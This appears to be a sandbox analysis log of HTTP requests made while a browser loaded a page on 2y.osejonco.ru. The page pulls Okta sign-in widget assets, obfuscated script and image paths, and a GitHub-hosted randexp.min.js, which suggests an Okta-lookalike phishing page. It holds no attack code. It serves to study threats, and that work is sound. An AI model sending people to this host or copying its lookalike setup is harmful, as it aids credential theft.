Source: global traffic	HTTP traffic detected: GET /assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeReferer: https://2y.osejonco.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeReferer: https://2y.osejonco.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /GDSherpa-vf.woff2 HTTP/1.1Host: 2y.osejonco.ruConnection: keep-aliveOrigin: https://2y.osejonco.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://2y.osejonco.ru/hruzkqxoscquhmojxirozgzngdpepl5ZROK5PNX8KMPTG5LD7W?DFUXXQNZLFPEFTDXJIAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImR4d0dYVlFMRVZXYWRjNFVKdmRJemc9PSIsInZhbHVlIjoiU1hTT3VWUHdFcWFqWlExUzkyR0VaV0VYRGFvZUhXK1VIMkhsYnBMZ0tkUlVhMTloZ2ppdDU2cVdOVkx0MEZ0Q3AwKzhoclRQNWU5M2RLY2ErOVpyNDNQZ2I2eVQza3RIbHl2WjBRVS8xb05TWkV1SXhPcXVMdXdsbkNybGVrSVQiLCJtYWMiOiJjMzRmOWFiZTI5MjgyOWIxNzViZmNmZTEzYzNiYmFmZjU1ZmFjMjZlY2JmMmY4NWU0MjdmMTgwM2IyMDVmZjFkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImZYU3RSMkFtaTlPMWdNTnpFaFBWUlE9PSIsInZhbHVlIjoidDl4OE5lenRMVXR6c2RhZnd6VzVhMnJUZVpFSXJ4RWRDNmg3L2RxOEx3MW1FS251WG1DTzRyRVdZbmNaK1ZqRW95bWRtZEIvOGhCNVR5UWRhclF4UkdtRjdZdnFZRDhUMEt6ZTlldm44OXN0d3dZcUZLRjRQWGJBTDk0Znh0d0giLCJtYWMiOiI0ODkyNDQxMzJmNDA4ZDlhYjZlMGZlZTFkMTVlYTA0ODI3ZDEwMGY0MmM4ZjU3NmZlYWQ2MDgyNmE4OGQ0MTRmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-vf2.woff2 HTTP/1.1Host: 2y.osejonco.ruConnection: keep-aliveOrigin: https://2y.osejonco.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://2y.osejonco.ru/hruzkqxoscquhmojxirozgzngdpepl5ZROK5PNX8KMPTG5LD7W?DFUXXQNZLFPEFTDXJIAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImR4d0dYVlFMRVZXYWRjNFVKdmRJemc9PSIsInZhbHVlIjoiU1hTT3VWUHdFcWFqWlExUzkyR0VaV0VYRGFvZUhXK1VIMkhsYnBMZ0tkUlVhMTloZ2ppdDU2cVdOVkx0MEZ0Q3AwKzhoclRQNWU5M2RLY2ErOVpyNDNQZ2I2eVQza3RIbHl2WjBRVS8xb05TWkV1SXhPcXVMdXdsbkNybGVrSVQiLCJtYWMiOiJjMzRmOWFiZTI5MjgyOWIxNzViZmNmZTEzYzNiYmFmZjU1ZmFjMjZlY2JmMmY4NWU0MjdmMTgwM2IyMDVmZjFkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImZYU3RSMkFtaTlPMWdNTnpFaFBWUlE9PSIsInZhbHVlIjoidDl4OE5lenRMVXR6c2RhZnd6VzVhMnJUZVpFSXJ4RWRDNmg3L2RxOEx3MW1FS251WG1DTzRyRVdZbmNaK1ZqRW95bWRtZEIvOGhCNVR5UWRhclF4UkdtRjdZdnFZRDhUMEt6ZTlldm44OXN0d3dZcUZLRjRQWGJBTDk0Znh0d0giLCJtYWMiOiI0ODkyNDQxMzJmNDA4ZDlhYjZlMGZlZTFkMTVlYTA0ODI3ZDEwMGY0MmM4ZjU3NmZlYWQ2MDgyNmE4OGQ0MTRmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /34XY6uqR8M2Zn7bR2adFTax5rnMwghoXvnLC2fek67103 HTTP/1.1Host: 2y.osejonco.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://2y.osejonco.ru/hruzkqxoscquhmojxirozgzngdpepl5ZROK5PNX8KMPTG5LD7W?DFUXXQNZLFPEFTDXJIAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImR4d0dYVlFMRVZXYWRjNFVKdmRJemc9PSIsInZhbHVlIjoiU1hTT3VWUHdFcWFqWlExUzkyR0VaV0VYRGFvZUhXK1VIMkhsYnBMZ0tkUlVhMTloZ2ppdDU2cVdOVkx0MEZ0Q3AwKzhoclRQNWU5M2RLY2ErOVpyNDNQZ2I2eVQza3RIbHl2WjBRVS8xb05TWkV1SXhPcXVMdXdsbkNybGVrSVQiLCJtYWMiOiJjMzRmOWFiZTI5MjgyOWIxNzViZmNmZTEzYzNiYmFmZjU1ZmFjMjZlY2JmMmY4NWU0MjdmMTgwM2IyMDVmZjFkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImZYU3RSMkFtaTlPMWdNTnpFaFBWUlE9PSIsInZhbHVlIjoidDl4OE5lenRMVXR6c2RhZnd6VzVhMnJUZVpFSXJ4RWRDNmg3L2RxOEx3MW1FS251WG1DTzRyRVdZbmNaK1ZqRW95bWRtZEIvOGhCNVR5UWRhclF4UkdtRjdZdnFZRDhUMEt6ZTlldm44OXN0d3dZcUZLRjRQWGJBTDk0Znh0d0giLCJtYWMiOiI0ODkyNDQxMzJmNDA4ZDlhYjZlMGZlZTFkMTVlYTA0ODI3ZDEwMGY0MmM4ZjU3NmZlYWQ2MDgyNmE4OGQ0MTRmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /wxtr96E0UQXYubQXEopBx2VlaFgro4g97HGu12122 HTTP/1.1Host: 2y.osejonco.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://2y.osejonco.ru/hruzkqxoscquhmojxirozgzngdpepl5ZROK5PNX8KMPTG5LD7W?DFUXXQNZLFPEFTDXJIAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImR4d0dYVlFMRVZXYWRjNFVKdmRJemc9PSIsInZhbHVlIjoiU1hTT3VWUHdFcWFqWlExUzkyR0VaV0VYRGFvZUhXK1VIMkhsYnBMZ0tkUlVhMTloZ2ppdDU2cVdOVkx0MEZ0Q3AwKzhoclRQNWU5M2RLY2ErOVpyNDNQZ2I2eVQza3RIbHl2WjBRVS8xb05TWkV1SXhPcXVMdXdsbkNybGVrSVQiLCJtYWMiOiJjMzRmOWFiZTI5MjgyOWIxNzViZmNmZTEzYzNiYmFmZjU1ZmFjMjZlY2JmMmY4NWU0MjdmMTgwM2IyMDVmZjFkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImZYU3RSMkFtaTlPMWdNTnpFaFBWUlE9PSIsInZhbHVlIjoidDl4OE5lenRMVXR6c2RhZnd6VzVhMnJUZVpFSXJ4RWRDNmg3L2RxOEx3MW1FS251WG1DTzRyRVdZbmNaK1ZqRW95bWRtZEIvOGhCNVR5UWRhclF4UkdtRjdZdnFZRDhUMEt6ZTlldm44OXN0d3dZcUZLRjRQWGJBTDk0Znh0d0giLCJtYWMiOiI0ODkyNDQxMzJmNDA4ZDlhYjZlMGZlZTFkMTVlYTA0ODI3ZDEwMGY0MmM4ZjU3NmZlYWQ2MDgyNmE4OGQ0MTRmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /qr3KwGz8WpWW6BGLqjBcrkzD6fvvfef0XuWdfxyQqg0w67140 HTTP/1.1Host: 2y.osejonco.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://2y.osejonco.ru/hruzkqxoscquhmojxirozgzngdpepl5ZROK5PNX8KMPTG5LD7W?DFUXXQNZLFPEFTDXJIAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImR4d0dYVlFMRVZXYWRjNFVKdmRJemc9PSIsInZhbHVlIjoiU1hTT3VWUHdFcWFqWlExUzkyR0VaV0VYRGFvZUhXK1VIMkhsYnBMZ0tkUlVhMTloZ2ppdDU2cVdOVkx0MEZ0Q3AwKzhoclRQNWU5M2RLY2ErOVpyNDNQZ2I2eVQza3RIbHl2WjBRVS8xb05TWkV1SXhPcXVMdXdsbkNybGVrSVQiLCJtYWMiOiJjMzRmOWFiZTI5MjgyOWIxNzViZmNmZTEzYzNiYmFmZjU1ZmFjMjZlY2JmMmY4NWU0MjdmMTgwM2IyMDVmZjFkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImZYU3RSMkFtaTlPMWdNTnpFaFBWUlE9PSIsInZhbHVlIjoidDl4OE5lenRMVXR6c2RhZnd6VzVhMnJUZVpFSXJ4RWRDNmg3L2RxOEx3MW1FS251WG1DTzRyRVdZbmNaK1ZqRW95bWRtZEIvOGhCNVR5UWRhclF4UkdtRjdZdnFZRDhUMEt6ZTlldm44OXN0d3dZcUZLRjRQWGJBTDk0Znh0d0giLCJtYWMiOiI0ODkyNDQxMzJmNDA4ZDlhYjZlMGZlZTFkMTVlYTA0ODI3ZDEwMGY0MmM4ZjU3NmZlYWQ2MDgyNmE4OGQ0MTRmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /mn1qTi42BOQqHIWIbTjzsdQVcklH8C6r9gf6A6R90144 HTTP/1.1Host: 2y.osejonco.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://2y.osejonco.ru/hruzkqxoscquhmojxirozgzngdpepl5ZROK5PNX8KMPTG5LD7W?DFUXXQNZLFPEFTDXJIAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImR4d0dYVlFMRVZXYWRjNFVKdmRJemc9PSIsInZhbHVlIjoiU1hTT3VWUHdFcWFqWlExUzkyR0VaV0VYRGFvZUhXK1VIMkhsYnBMZ0tkUlVhMTloZ2ppdDU2cVdOVkx0MEZ0Q3AwKzhoclRQNWU5M2RLY2ErOVpyNDNQZ2I2eVQza3RIbHl2WjBRVS8xb05TWkV1SXhPcXVMdXdsbkNybGVrSVQiLCJtYWMiOiJjMzRmOWFiZTI5MjgyOWIxNzViZmNmZTEzYzNiYmFmZjU1ZmFjMjZlY2JmMmY4NWU0MjdmMTgwM2IyMDVmZjFkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImZYU3RSMkFtaTlPMWdNTnpFaFBWUlE9PSIsInZhbHVlIjoidDl4OE5lenRMVXR6c2RhZnd6VzVhMnJUZVpFSXJ4RWRDNmg3L2RxOEx3MW1FS251WG1DTzRyRVdZbmNaK1ZqRW95bWRtZEIvOGhCNVR5UWRhclF4UkdtRjdZdnFZRDhUMEt6ZTlldm44OXN0d3dZcUZLRjRQWGJBTDk0Znh0d0giLCJtYWMiOiI0ODkyNDQxMzJmNDA4ZDlhYjZlMGZlZTFkMTVlYTA0ODI3ZDEwMGY0MmM4ZjU3NmZlYWQ2MDgyNmE4OGQ0MTRmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /fs/bcg/4/gfsh9pi7jcWKJKMAs1t7 HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://2y.osejonco.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /github-production-release-asset-2e65be/2925284/11f3acf8-4ccb-11e6-8ce4-c179c0a212de?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250316%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250316T233800Z&X-Amz-Expires=300&X-Amz-Signature=bc052f8b2492f49cbaf9d38d2479d8261b36198007d0f223f0328eb52202feae&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Drandexp.min.js&response-content-type=application%2Foctet-stream HTTP/1.1Host: objects.githubusercontent.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://2y.osejonco.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wxtr96E0UQXYubQXEopBx2VlaFgro4g97HGu12122 HTTP/1.1Host: 2y.osejonco.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImR4d0dYVlFMRVZXYWRjNFVKdmRJemc9PSIsInZhbHVlIjoiU1hTT3VWUHdFcWFqWlExUzkyR0VaV0VYRGFvZUhXK1VIMkhsYnBMZ0tkUlVhMTloZ2ppdDU2cVdOVkx0MEZ0Q3AwKzhoclRQNWU5M2RLY2ErOVpyNDNQZ2I2eVQza3RIbHl2WjBRVS8xb05TWkV1SXhPcXVMdXdsbkNybGVrSVQiLCJtYWMiOiJjMzRmOWFiZTI5MjgyOWIxNzViZmNmZTEzYzNiYmFmZjU1ZmFjMjZlY2JmMmY4NWU0MjdmMTgwM2IyMDVmZjFkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImZYU3RSMkFtaTlPMWdNTnpFaFBWUlE9PSIsInZhbHVlIjoidDl4OE5lenRMVXR6c2RhZnd6VzVhMnJUZVpFSXJ4RWRDNmg3L2RxOEx3MW1FS251WG1DTzRyRVdZbmNaK1ZqRW95bWRtZEIvOGhCNVR5UWRhclF4UkdtRjdZdnFZRDhUMEt6ZTlldm44OXN0d3dZcUZLRjRQWGJBTDk0Znh0d0giLCJtYWMiOiI0ODkyNDQxMzJmNDA4ZDlhYjZlMGZlZTFkMTVlYTA0ODI3ZDEwMGY0MmM4ZjU3NmZlYWQ2MDgyNmE4OGQ0MTRmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /klwx5cFAcAqfdQp3WkgEUThdmWiDzDn2GiJCqq56jRSXRX1N2xd7gfxEFlIp3lwgSsJmwx220 HTTP/1.1Host: 2y.osejonco.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://2y.osejonco.ru/hruzkqxoscquhmojxirozgzngdpepl5ZROK5PNX8KMPTG5LD7W?DFUXXQNZLFPEFTDXJIAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImR4d0dYVlFMRVZXYWRjNFVKdmRJemc9PSIsInZhbHVlIjoiU1hTT3VWUHdFcWFqWlExUzkyR0VaV0VYRGFvZUhXK1VIMkhsYnBMZ0tkUlVhMTloZ2ppdDU2cVdOVkx0MEZ0Q3AwKzhoclRQNWU5M2RLY2ErOVpyNDNQZ2I2eVQza3RIbHl2WjBRVS8xb05TWkV1SXhPcXVMdXdsbkNybGVrSVQiLCJtYWMiOiJjMzRmOWFiZTI5MjgyOWIxNzViZmNmZTEzYzNiYmFmZjU1ZmFjMjZlY2JmMmY4NWU0MjdmMTgwM2IyMDVmZjFkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImZYU3RSMkFtaTlPMWdNTnpFaFBWUlE9PSIsInZhbHVlIjoidDl4OE5lenRMVXR6c2RhZnd6VzVhMnJUZVpFSXJ4RWRDNmg3L2RxOEx3MW1FS251WG1DTzRyRVdZbmNaK1ZqRW95bWRtZEIvOGhCNVR5UWRhclF4UkdtRjdZdnFZRDhUMEt6ZTlldm44OXN0d3dZcUZLRjRQWGJBTDk0Znh0d0giLCJtYWMiOiI0ODkyNDQxMzJmNDA4ZDlhYjZlMGZlZTFkMTVlYTA0ODI3ZDEwMGY0MmM4ZjU3NmZlYWQ2MDgyNmE4OGQ0MTRmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ij36edXDIVEZ1IkFpjlRArGXnqtVKT3mgw89eXKrMQwV4y50SCzXCSTtuUab230 HTTP/1.1Host: 2y.osejonco.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://2y.osejonco.ru/hruzkqxoscquhmojxirozgzngdpepl5ZROK5PNX8KMPTG5LD7W?DFUXXQNZLFPEFTDXJIAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImR4d0dYVlFMRVZXYWRjNFVKdmRJemc9PSIsInZhbHVlIjoiU1hTT3VWUHdFcWFqWlExUzkyR0VaV0VYRGFvZUhXK1VIMkhsYnBMZ0tkUlVhMTloZ2ppdDU2cVdOVkx0MEZ0Q3AwKzhoclRQNWU5M2RLY2ErOVpyNDNQZ2I2eVQza3RIbHl2WjBRVS8xb05TWkV1SXhPcXVMdXdsbkNybGVrSVQiLCJtYWMiOiJjMzRmOWFiZTI5MjgyOWIxNzViZmNmZTEzYzNiYmFmZjU1ZmFjMjZlY2JmMmY4NWU0MjdmMTgwM2IyMDVmZjFkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImZYU3RSMkFtaTlPMWdNTnpFaFBWUlE9PSIsInZhbHVlIjoidDl4OE5lenRMVXR6c2RhZnd6VzVhMnJUZVpFSXJ4RWRDNmg3L2RxOEx3MW1FS251WG1DTzRyRVdZbmNaK1ZqRW95bWRtZEIvOGhCNVR5UWRhclF4UkdtRjdZdnFZRDhUMEt6ZTlldm44OXN0d3dZcUZLRjRQWGJBTDk0Znh0d0giLCJtYWMiOiI0ODkyNDQxMzJmNDA4ZDlhYjZlMGZlZTFkMTVlYTA0ODI3ZDEwMGY0MmM4ZjU3NmZlYWQ2MDgyNmE4OGQ0MTRmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /mn1qTi42BOQqHIWIbTjzsdQVcklH8C6r9gf6A6R90144 HTTP/1.1Host: 2y.osejonco.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImR4d0dYVlFMRVZXYWRjNFVKdmRJemc9PSIsInZhbHVlIjoiU1hTT3VWUHdFcWFqWlExUzkyR0VaV0VYRGFvZUhXK1VIMkhsYnBMZ0tkUlVhMTloZ2ppdDU2cVdOVkx0MEZ0Q3AwKzhoclRQNWU5M2RLY2ErOVpyNDNQZ2I2eVQza3RIbHl2WjBRVS8xb05TWkV1SXhPcXVMdXdsbkNybGVrSVQiLCJtYWMiOiJjMzRmOWFiZTI5MjgyOWIxNzViZmNmZTEzYzNiYmFmZjU1ZmFjMjZlY2JmMmY4NWU0MjdmMTgwM2IyMDVmZjFkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImZYU3RSMkFtaTlPMWdNTnpFaFBWUlE9PSIsInZhbHVlIjoidDl4OE5lenRMVXR6c2RhZnd6VzVhMnJUZVpFSXJ4RWRDNmg3L2RxOEx3MW1FS251WG1DTzRyRVdZbmNaK1ZqRW95bWRtZEIvOGhCNVR5UWRhclF4UkdtRjdZdnFZRDhUMEt6ZTlldm44OXN0d3dZcUZLRjRQWGJBTDk0Znh0d0giLCJtYWMiOiI0ODkyNDQxMzJmNDA4ZDlhYjZlMGZlZTFkMTVlYTA0ODI3ZDEwMGY0MmM4ZjU3NmZlYWQ2MDgyNmE4OGQ0MTRmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ijL2Jyg9U2Cta71dIExzqwsr3Hbd0phobxjMcdIdbCejuCF17A6XlDgWoruHXGZM78170 HTTP/1.1Host: 2y.osejonco.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://2y.osejonco.ru/hruzkqxoscquhmojxirozgzngdpepl5ZROK5PNX8KMPTG5LD7W?DFUXXQNZLFPEFTDXJIAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImR4d0dYVlFMRVZXYWRjNFVKdmRJemc9PSIsInZhbHVlIjoiU1hTT3VWUHdFcWFqWlExUzkyR0VaV0VYRGFvZUhXK1VIMkhsYnBMZ0tkUlVhMTloZ2ppdDU2cVdOVkx0MEZ0Q3AwKzhoclRQNWU5M2RLY2ErOVpyNDNQZ2I2eVQza3RIbHl2WjBRVS8xb05TWkV1SXhPcXVMdXdsbkNybGVrSVQiLCJtYWMiOiJjMzRmOWFiZTI5MjgyOWIxNzViZmNmZTEzYzNiYmFmZjU1ZmFjMjZlY2JmMmY4NWU0MjdmMTgwM2IyMDVmZjFkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImZYU3RSMkFtaTlPMWdNTnpFaFBWUlE9PSIsInZhbHVlIjoidDl4OE5lenRMVXR6c2RhZnd6VzVhMnJUZVpFSXJ4RWRDNmg3L2RxOEx3MW1FS251WG1DTzRyRVdZbmNaK1ZqRW95bWRtZEIvOGhCNVR5UWRhclF4UkdtRjdZdnFZRDhUMEt6ZTlldm44OXN0d3dZcUZLRjRQWGJBTDk0Znh0d0giLCJtYWMiOiI0ODkyNDQxMzJmNDA4ZDlhYjZlMGZlZTFkMTVlYTA0ODI3ZDEwMGY0MmM4ZjU3NmZlYWQ2MDgyNmE4OGQ0MTRmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /qr3KwGz8WpWW6BGLqjBcrkzD6fvvfef0XuWdfxyQqg0w67140 HTTP/1.1Host: 2y.osejonco.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImR4d0dYVlFMRVZXYWRjNFVKdmRJemc9PSIsInZhbHVlIjoiU1hTT3VWUHdFcWFqWlExUzkyR0VaV0VYRGFvZUhXK1VIMkhsYnBMZ0tkUlVhMTloZ2ppdDU2cVdOVkx0MEZ0Q3AwKzhoclRQNWU5M2RLY2ErOVpyNDNQZ2I2eVQza3RIbHl2WjBRVS8xb05TWkV1SXhPcXVMdXdsbkNybGVrSVQiLCJtYWMiOiJjMzRmOWFiZTI5MjgyOWIxNzViZmNmZTEzYzNiYmFmZjU1ZmFjMjZlY2JmMmY4NWU0MjdmMTgwM2IyMDVmZjFkIiwidGFnIjoiIn0%3D; 